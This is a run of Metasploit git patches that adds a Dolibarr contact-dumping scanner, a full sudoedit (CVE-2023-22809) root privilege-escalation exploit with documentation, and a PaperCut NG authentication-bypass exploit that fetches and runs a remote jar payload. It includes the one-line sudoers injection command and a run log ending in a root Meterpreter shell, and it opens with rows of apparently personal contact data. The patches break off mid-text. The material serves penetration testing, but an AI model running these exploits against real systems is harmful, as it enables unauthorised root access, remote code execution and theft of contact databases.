69400 | VILLEFRANCHE-SUR-SAÔNE | CEO | valentine@latourelle.latourelle | +| 2 | FR | | | | | | | don't make any discount I don't like him | | | Bolduc | Hugues | | 1680275611 | MR | Mr. | | 1200, rue Bonneterie | 59370 | MONS-EN-BAROEUL | CEO | hugues@bolduc.bolduc | +| 3 | FR | Rhône | 69 | | | | | | | | Gamelin | Felicien | | 1680275763 | MR | Mr. | | 5100, rue de la Boatie | 69000 | Lyon | DSI | felicien@gamelin.gamelin | From 3036b607b6a0b5bff4f230bed545d5cf8d29bdf9 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Mon, 24 Apr 2023 11:50:29 +0200 Subject: [PATCH 052/415] JSON output support Added the prettyfied JSON output along with the CSV, refactored variables regarding the JSON contacts object. --- .../scanner/http/dolibarr_16_contact_dump.rb | 38 ++++++++++++------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index 5f817e7937e2b..c6cadbb5c1a5b 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -79,7 +79,7 @@ def exploit(ip) } }, 90, true) - res_json_document = res.get_json_document['contacts'] + res_json_document = res.get_json_document if res && res.code != 200 fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") @@ -87,29 +87,41 @@ def exploit(ip) fail_with(Failure::UnexpectedReply, 'Dolibarr database empty') end + contacts = res_json_document['contacts'] + fail_with(Failure::UnexpectedReply, 'Dolibarr data did not include contacts field') if contacts.blank? + begin - print_good("Database type: #{res_json_document[0]['db']['type']}") - print_good("Database name: #{res_json_document[0]['db']['database_name']}") - print_good("Database user: #{res_json_document[0]['db']['database_user']}") - print_good("Database host: #{res_json_document[0]['db']['database_host']}") - print_good("Database port: #{res_json_document[0]['db']['database_port']}") + print_good("Database type: #{contacts[0]['db']['type']}") + print_good("Database name: #{contacts[0]['db']['database_name']}") + print_good("Database user: #{contacts[0]['db']['database_user']}") + print_good("Database host: #{contacts[0]['db']['database_host']}") + print_good("Database port: #{contacts[0]['db']['database_port']}") end - contact_fields = res.get_json_document['contacts'][0].keys + contact_fields = contacts[0].keys contact_fields.delete('db') # We do not want this in the csv contact_entry_data = [] - nbr_contact = res_json_document.length.to_i + nbr_contact = contacts.length.to_i + + path_json_file = store_loot( + 'dolibarr', + 'application/json', + ip, + JSON.pretty_generate(res.get_json_document), + '.json' + ) print_good("Found #{nbr_contact} contacts.") + print_good("#{rhost}:#{rport} - File saved in: #{path_json_file}") csv_string = CSV.generate do |csv| # Loop to write into csv csv << contact_fields nbr_contact.times do |num| # Loop on every contact contact_fields.each do |element| - if res_json_document[num][element.to_s].is_a?(String) || res_json_document[num][element.to_s].is_a?(Int) - contact_entry_data << res_json_document[num][element.to_s].to_s.gsub("\r\n", ' ') + if contacts[num][element.to_s].is_a?(String) || contacts[num][element.to_s].is_a?(Int) + contact_entry_data << contacts[num][element.to_s].to_s.gsub("\r\n", ' ') end rescue StandardError contact_entry_data << ' ' @@ -119,15 +131,15 @@ def exploit(ip) end end - path = store_loot( + path_csv_file = store_loot( 'dolibarr', - 'application/CSV', + 'application/csv', ip, csv_string, '.csv' ) - print_good("#{rhost}:#{rport} - File saved in: #{path}") + print_good("#{rhost}:#{rport} - File saved in: #{path_csv_file}") end def run_host(ip) From e7725e7b6d4f7fcbcdd8c89f9ad287ee0518a804 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 25 Apr 2023 04:37:33 -0400 Subject: [PATCH 053/415] cve-2023-22809 --- .../linux/local/sudoedit_bypass_priv_esc.rb | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb new file mode 100644 index 0000000000000..8dc1fc6e8fab9 --- /dev/null +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sudoedit Extra Arguments Priv Esc', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an linux command for priv esc. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Matthieu Barjole', # original PoC, analysis + 'Victor Cutillas' # original PoC, analysis + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'EDB', '51217' ], + [ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ], + [ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ], + [ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ], + [ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ], + [ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ], + [ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'], + [ 'CVE', '2023-22809' ] + ], + 'DisclosureDate' => '2023-01-18', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]), + OptString.new('shell', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]) + ] + end + + # Simplify pulling the writable directory variable + def base_dir + datastore['WritableDir'].to_s + end + + def get_editable_file + vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}") if datastore['EDITABLEFILE'] + return datastore['EDITABLEFILE'] if datastore['EDITABLEFILE'] + + # we do a rev here to reverse the order since we only want the last entry, take item 1, then rev it back so its normal. this seemed to + # be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut + editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E "(root)" | rev | cut -d " " -f 1 | rev') + editable_file = editable_file.strip + if editable_file.include?('a terminal is required to read the password') || editable_file.nil? || editable_file.empty? + return nil + end + + editable_file + end + + def check + # Check the app is installed and the version + package = cmd_exec('dpkg -l sudo | grep \'^ii\'') + package = package.split(' ')[2] # ii, package name, version, arch + sys_info = get_sysinfo + ver_no = Rex::Version.new(package) + + # according to CVE listing, but so much backporting... + minimal_version = '1.8.0' + maximum_version = '1.9.12p1' + + # backporting... so annoying. + # https://ubuntu.com/security/CVE-2023-22809 + if sys_info['distro'] == 'ubuntu' + if sys_info['version'].include? '22.10' # kinetic + maximum_version = '1.9.11p3-1ubuntu1.1' + elsif sys_info['version'].include? '22.04' # jammy + maximum_version = '1.9.9-1ubuntu2.2' + elsif sys_info['version'].include? '20.04' # focal + maximum_version = '1.8.31-1ubuntu1.4' + elsif sys_info['version'].include? '18.04' # bionic + maximum_version = '1.8.21p2-3ubuntu1.5' + elsif sys_info['version'].include? '16.04' # xenial + maximum_version = '1.8.16-0ubuntu1.10+esm1' + elsif sys_info['version'].include? '14.04' # trusty + maximum_version = '1.8.9p5-1ubuntu1.5+esm7' + end + end + + if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version) + vprint_good("sudo version #{ver_no} is vulnerable") + # check if theres an entry in /etc/sudoers that allows us to edit a file + editable_file = get_editable_file + if editable_file.nil? + return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually") + else + return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}") + end + end + + CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable") + end + + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' + end + + if get_editable_file.nil? + fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + register_file_for_cleanup(payload_path) + + timeout = 5 # anything more than this we're stuck at a 'enter password' prompt + @flag = Rex::Text.rand_text_alphanumeric(12) + print_status 'Adding user to sudoers' + # we tack on a flag so we can easily grep for this line and clean it up later + command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}" + vprint_status("Executing command: #{command}") + + output = cmd_exec command, nil, timeout + if output.include? 'editing files in a writable directory is not permitted' + print_good('Likely successful exploitation, detected possitive error message: editing files in a writable directory is not permitted') + end + output.each_line { |line| vprint_status line.chomp } + print_status('Spawning payload') + + timeout = 60 + # output = cmd_exec "sudo -S nohup #{@payload_path} &", nil, timeout + # -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell + # also, attempting to thread off of sudo was problematic, solution was + # https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh + # other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t + output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end + + def on_new_session(session) + if @flag + print_bad("Manual cleanup is likely required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers") + # attempt anyways, but likely doesn't work + session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers") + end + super + end +end From 1a823b05f165618bedc2be305d698e1daad9d177 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 18:36:44 +0000 Subject: [PATCH 054/415] Serve jar file for exploit. --- .../multi/http/papercut_ng_auth_bypass.rb | 88 ++++++++++++------- 1 file changed, 55 insertions(+), 33 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index a9eecd0cc84d0..eec6460788d9b 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( @@ -31,9 +32,12 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'RPORT' => '9192', - 'SSL' => 'True', - 'TARGETURI' => '/app' + 'RPORT' => '9191', + 'SSL' => 'false', + 'TARGETURI' => '/app', + 'PAYLOAD_CLASS' => 'metasploit.Payload', + 'JAR_FILE' => '', + 'HTTPDELAY' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -44,7 +48,10 @@ def initialize(info = {}) ) register_options( [ - OptString.new('TARGETURI', [true, 'Path to the papercut application']) + OptString.new('TARGETURI', [true, 'Path to the papercut application']), + OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), + OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), + OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) ], self.class ) end @@ -107,61 +114,76 @@ def check return bypass_auth end + def primer + payload_uri = get_uri + # 6) Trigger the code execution the printer_id + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => @origin + }, + 'vars_post' => { + 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', + 'sp' => 'S0', + 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', + 'enablePrintScript' => 'on', + '$Submit$1' => 'Apply', + 'printerId' => @printer_id, + 'scriptBody' => %Q{ +var urls = [new java.net.URL("#{payload_uri}.jar")]; +var cl = new java.net.URLClassLoader(urls).loadClass('#{datastore['PAYLOAD_CLASS']}').newInstance().main([]); +s; +} + } + } + ) + return Exploit::Failed unless res && res.code == 200 + end + def exploit + @payload_uri = get_uri # Main function # 1) Bypass the auth using the SetupCompleted page bypass_auth # 2) Enable scripts, if needed # 3) Disable sandboxing, if needed # 4) Find a printerId - printer_id = get_printer - print_status('Using printerid: ' + printer_id) + @printer_id = get_printer + print_status('Using printerid: ' + @printer_id) # 5) Select the printer, this loads it into the tapestry session to be modified protocol = 'http' if datastore['SSL'] protocol = 'https' end - origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") + @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => origin + 'Origin' => @origin }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', - 'sp' => printer_id + 'sp' => @printer_id } } ) return Exploit::Failed unless res && res.code == 200 - # 6) Exploit a printer using the printer_id - res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path), - 'keep_cookies' => true, - 'headers' => { - 'Origin' => origin - }, - 'vars_post' => { - 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', - 'sp' => 'S0', - 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', - 'enablePrintScript' => 'on', - '$Submit$1' => 'Apply', - 'printerId' => printer_id, - 'scriptBody' => %q{ -var rt = new java.lang.Runtime.getRuntime(); -rt.exec('c:\\\\windows\\\\system32\\\\cmd.exe /c "ping 192.168.1.3"'); -s;} - } - } - ) - return Exploit::Failed unless res && res.code == 200 + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + end + + def on_request_uri(cli, request) + vprint_status("Sending payload for requested uri: #{request.uri}") + jar_file = File.read(datastore['JAR_FILE']) + send_response(cli, jar_file) end + end From 17271f1046162681e4e7095804e8c8bbcf3acdda Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 23:00:33 +0000 Subject: [PATCH 055/415] Adding documentation, expanding failure cases. Always struggle in the last mile. Here we go. --- .../multi/http/papercut_ng_auth_bypass.rb | 119 +++++++++++++++--- 1 file changed, 105 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index eec6460788d9b..efa518f10db31 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -17,6 +17,20 @@ def initialize(info = {}) info, 'Name' => 'PaperCut PaperCutNG Authentication Bypass', 'Description' => %q{ + This module leverages an authentication bypass in PaperCut NG. If necessary it + updates Papercut configuration options, specifically the 'print-and-device.script.enabled' + and 'print.script.sandboxed' options to allow for arbitrary code execution running in + the builtin RhinoJS engine. + + For code injection we utilize the URLClassLoader to load a remote URL containing a + ".jar" file, this file must already exist and must contain a "main" method accepting + no command line arguments. We recommend generating this jar file using msfvenom with a + java/meterpreter/reverse_tcp payload, e.g. `msfvenom -p java/meterpreter/reverse_tcp --format jar --encoder generic/none + LHOST=[lhost] LPORT=[lport] -o shell.jar + + This module logs at most 2 events in the application log of papercut. Each event is tied + to modifcation of server settings. Use NEVER_SET to avoid log generation entirely when + targeting already vulnerable systes. }, 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], @@ -24,10 +38,8 @@ def initialize(info = {}) [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] ], 'Targets' => [ [ 'Automatic Target', {}] ], - 'Platform' => [ 'win', 'linux'], - 'Payload' => { - 'BadChars' => "\x00" - }, + 'Platform' => [ 'java' ], + 'Payload' => {}, 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, @@ -51,7 +63,8 @@ def initialize(info = {}) OptString.new('TARGETURI', [true, 'Path to the papercut application']), OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), - OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) + OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), + OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) ], self.class ) end @@ -74,11 +87,70 @@ def bypass_auth return Exploit::CheckCode::Appears end - def set_server_option + def set_server_option(name, value) # set name:value pair(s) # 1) do a quickfind (setting the tapestry state) - # 2) if no property found, add it? + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => @origin + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/quickFindForm', + 'sp' => 'S0', + 'Form0' => '$TextField,doQuickFind,clear', + '$TextField' => name, + 'doQuickFind' => 'Go' + } + } + ) + # TODO: 2) if no property found, add it? # 3) else, if necessary, do an update + if not res || res.code != 200 + print_error("Response error when attempting to find server option '#{name}'") + return Exploit::Failed + end + + html = res.get_html_document + td = html.xpath("//td[@class='propertyNameColumnValue']") + if not td || td.count != 1 || td.text != name + print_error("xpath error: could not find single containing server option '#{name}'") unless td && td.count == 1 && td.text == name + return Exploit::Failed + end + + value_input = html.xpath("//input[@name='$TextField$0']") + current_value = value_input[0]['value'] + if current_value == value + vprint_good("Server option '#{name}' already set to '#{value}')") + return + end + + if datastore['NEVER_SET'] + print_error("Server is not correctly configured for code execution and you have requested we never set server options 'NEVER_SET'") + return Exploit::Failed + end + + vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => @origin + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/$Form', + 'sp' => 'S1', + 'Form1' => '$TextField$0,$Submit,$Submit$0', + '$TextField$0' => value, + '$Submit' => 'Update' + } + } + ) end def get_printer @@ -145,21 +217,40 @@ def primer def exploit @payload_uri = get_uri + protocol = 'http' + if datastore['SSL'] + protocol = 'https' + end + @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") # required for anti-CSRF mechanisms + # Main function # 1) Bypass the auth using the SetupCompleted page - bypass_auth + auth_bypassed = bypass_auth + if auth_bypassed == Exploit::CheckCode::Safe + print_error('Server appears to not be vulnerable.') + return Exploit::Failed + end # 2) Enable scripts, if needed + success = set_server_option('print-and-device.script.enabled', 'Y') + if success == Exploit::Failed + return Exploit::Failed + end + # 3) Disable sandboxing, if needed + success = set_server_option('print.script.sandboxed', 'N') + if success == Exploit::Failed + return Exploit::Failed + end + # 4) Find a printerId @printer_id = get_printer - print_status('Using printerid: ' + @printer_id) + if @printer_id == Exploit::Failed + return Exploit::Failed + end + + vprint_status('Using printerid: ' + @printer_id) # 5) Select the printer, this loads it into the tapestry session to be modified - protocol = 'http' - if datastore['SSL'] - protocol = 'https' - end - @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi( { 'method' => 'GET', From a229a0ed864801e903a60416e406e58093a2d94b Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 23:34:04 +0000 Subject: [PATCH 056/415] If you are receiving 200, that is hard-evidence of bypass. Also Fix typo. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index efa518f10db31..518417127648c 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -44,6 +44,7 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { + 'DisablePayloadHandler' => true, 'RPORT' => '9191', 'SSL' => 'false', 'TARGETURI' => '/app', @@ -84,7 +85,7 @@ def bypass_auth ) return Exploit::CheckCode::Safe unless res && res.code == 200 - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Vulnerable end def set_server_option(name, value) From 8a9871f0d8679759e8461a3ae16062ca8efad851 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 25 Apr 2023 23:57:05 +0000 Subject: [PATCH 057/415] Default to a java payload. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 518417127648c..32d8e00f1dd42 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -45,6 +45,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => true, + 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', 'TARGETURI' => '/app', From d454b2e1950a2b231d776e9f323f9e831149f07a Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 25 Apr 2023 20:54:48 -0400 Subject: [PATCH 058/415] cve-2023-22809 --- .../linux/local/sudoedit_bypass_priv_esc.md | 140 ++++++++++++++++++ .../linux/local/sudoedit_bypass_priv_esc.rb | 19 ++- 2 files changed, 155 insertions(+), 4 deletions(-) create mode 100644 documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md new file mode 100644 index 0000000000000..7bb23b272cb34 --- /dev/null +++ b/documentation/modules/exploit/linux/local/sudoedit_bypass_priv_esc.md @@ -0,0 +1,140 @@ +## Vulnerable Application + +This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package. +The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided +environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to +append arbitrary entries to the list of files to process. This can lead to privilege escalation. +by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root +privileges. + +Affected versions are 1.8.0 through 1.9.12.p1. + +The check method for this module will only work with Debian based systems. However, +many *nix based systems should be vulnerable. + +This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 + +### Exploit Breakdown + +This exploit works by first identifying what file can be edited via `sudo -l`. The `-S` flag +is also required or sudo may complain about not being in a proper tty environment, so `-S` specifies +to allow password input via stdin (although we never provide a password). + +Next we make a new entry in `/etc/sudoers`. In theory we could specify something similar to `"$USER ALL=(ALL:ALL) ALL"` +which many of the PoCs do, however we can be more surgical. In this case, we don't specify the payload as most +Metasploit exploits would, but actually a shell (`/bin/sh` by default), as `sudo` doesn't play well with `&`. +We also add a flag at the end of our entry after a `#` (comment) for ease of erasing later. + +Next we execute out payload, launching it through our shell. + +Many of the PoCs work via user input where you have to manually edit `/etc/sudoers`. Obviously this strategy +won't work with metasploit, as we need to automate it. Early attempts tried to script `vi` into performing +the write and quite command, similar to: +`EDITOR="vi -c ':$' -c ':s/$/\\ruser ALL=(ALL:ALL) ALL/' -c ':wq' -c ':q' -- /etc/sudoers" sudo -e /etc/motd` +However, the command didn't do well with newlines and escaping. + +`sed` however is a valid editor, so it was relatively trivial to script out adding the new entry via sed: +```EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: ALL' -- /etc/sudoers" sudo -e /etc/motd``` + +### Install + +On Ubuntu 22.04: + +``` +wget http://security.ubuntu.com/ubuntu/pool/main/s/sudo/sudo_1.9.9-1ubuntu2_amd64.deb +sudo dpkg -i sudo_1.9.9-1ubuntu2_amd64.deb +``` + +Now add an entry to `/etc/sudoers` for an editable file, in this case we use `/etc/motd`. +Change 'user' for whatever user you want to be able to exploit this: + +``` +user ALL=(root) NOPASSWD: sudoedit /etc/motd +``` + +Now test this by running `sudo -l` and you should see: + +``` +User may run the following commands on : + (ALL : ALL) ALL + (root) NOPASSWD: sudoedit /etc/motd +``` + +Noting the entry at the bottom to `/etc/motd` + +## Verification Steps + +1. Install the application +2. Get an initial shell +3. Do: `use exploit/linux/local/sudoedit_bypass_priv_esc` +4. Do: `set session [session]` +5. Do: `run` +6. You should get a root shell. + +## Options + +### EDITABLEFILE + +The file which can be edited via `sudoedit`. An attempt to auto detect this is made, so it is only required +if auto detection fails. + +### SHELL + +Which shell to use. Defaults to `/bin/sh` + + +## Scenarios + +### Sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 + +``` +[*] Processing sudoedit.rb for ERB directives. +resource (sudoedit.rb)> use auxiliary/scanner/ssh/ssh_login +resource (sudoedit.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (sudoedit.rb)> set username ubuntu +username => ubuntu +resource (sudoedit.rb)> set password ubuntu +password => ubuntu +resource (sudoedit.rb)> run +[*] 1.1.1.1:22 - Starting bruteforce +[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.15.0-48-generic #54-Ubuntu SMP Fri Aug 26 13:26:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ' +[*] SSH session 1 opened (2.2.2.2:46613 -> 1.1.1.1:22) at 2023-04-25 18:46:03 -0400 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +resource (sudoedit.rb)> use exploit/linux/local/sudoedit_bypass_priv_esc +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +resource (sudoedit.rb)> set session 1 +session => 1 +resource (sudoedit.rb)> set verbose true +verbose => true +resource (sudoedit.rb)> exploit +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] sudo version 1.9.9.pre.1ubuntu2 is vulnerable +[+] The target is vulnerable. Sudo 1.9.9.pre.1ubuntu2 is vulnerable, can edit: /etc/motd +[*] Writing '/tmp/.LImVy' (250 bytes) ... +[*] Max line length is 65537 +[*] Writing 250 bytes in 1 chunks of 735 bytes (octal-encoded), using printf +[*] Adding user to sudoers +[*] Executing command: EDITOR="sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: /bin/sh # SbccIOwAiK1i' -- /etc/sudoers" sudo -S -e /etc/motd +[+] Likely successful exploitation, detected possitive error message: editing files in a writable directory is not permitted +[*] sudo: --: editing files in a writable directory is not permitted +[*] Spawning payload +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 1.1.1.1 +[-] Manual cleanup is likely required, please run: sed -i '/# SbccIOwAiK1i/d' /etc/sudoers +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:57426) at 2023-04-25 18:46:25 -0400 + +(Meterpreter 2)(/home/ubuntu) > getuid +Server username: root +(Meterpreter 2)(/home/ubuntu) > sysinfo +Computer : 1.1.1.1 +OS : Ubuntu 22.04 (Linux 5.15.0-48-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 2)(/home/ubuntu) > +``` diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb index 8dc1fc6e8fab9..4b7072df99b76 100644 --- a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -19,8 +19,19 @@ def initialize(info = {}) info, 'Name' => 'Sudoedit Extra Arguments Priv Esc', 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an linux command for priv esc. + This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package. + The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided + environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to + append arbitrary entries to the list of files to process. This can lead to privilege escalation. + by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root + privileges. + + Affected versions are 1.8.0 through 1.9.12.p1. + + The check method for this module will only work with Debian based systems. However, + many *nix based systems should be vulnerable. + + This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => [ @@ -55,7 +66,7 @@ def initialize(info = 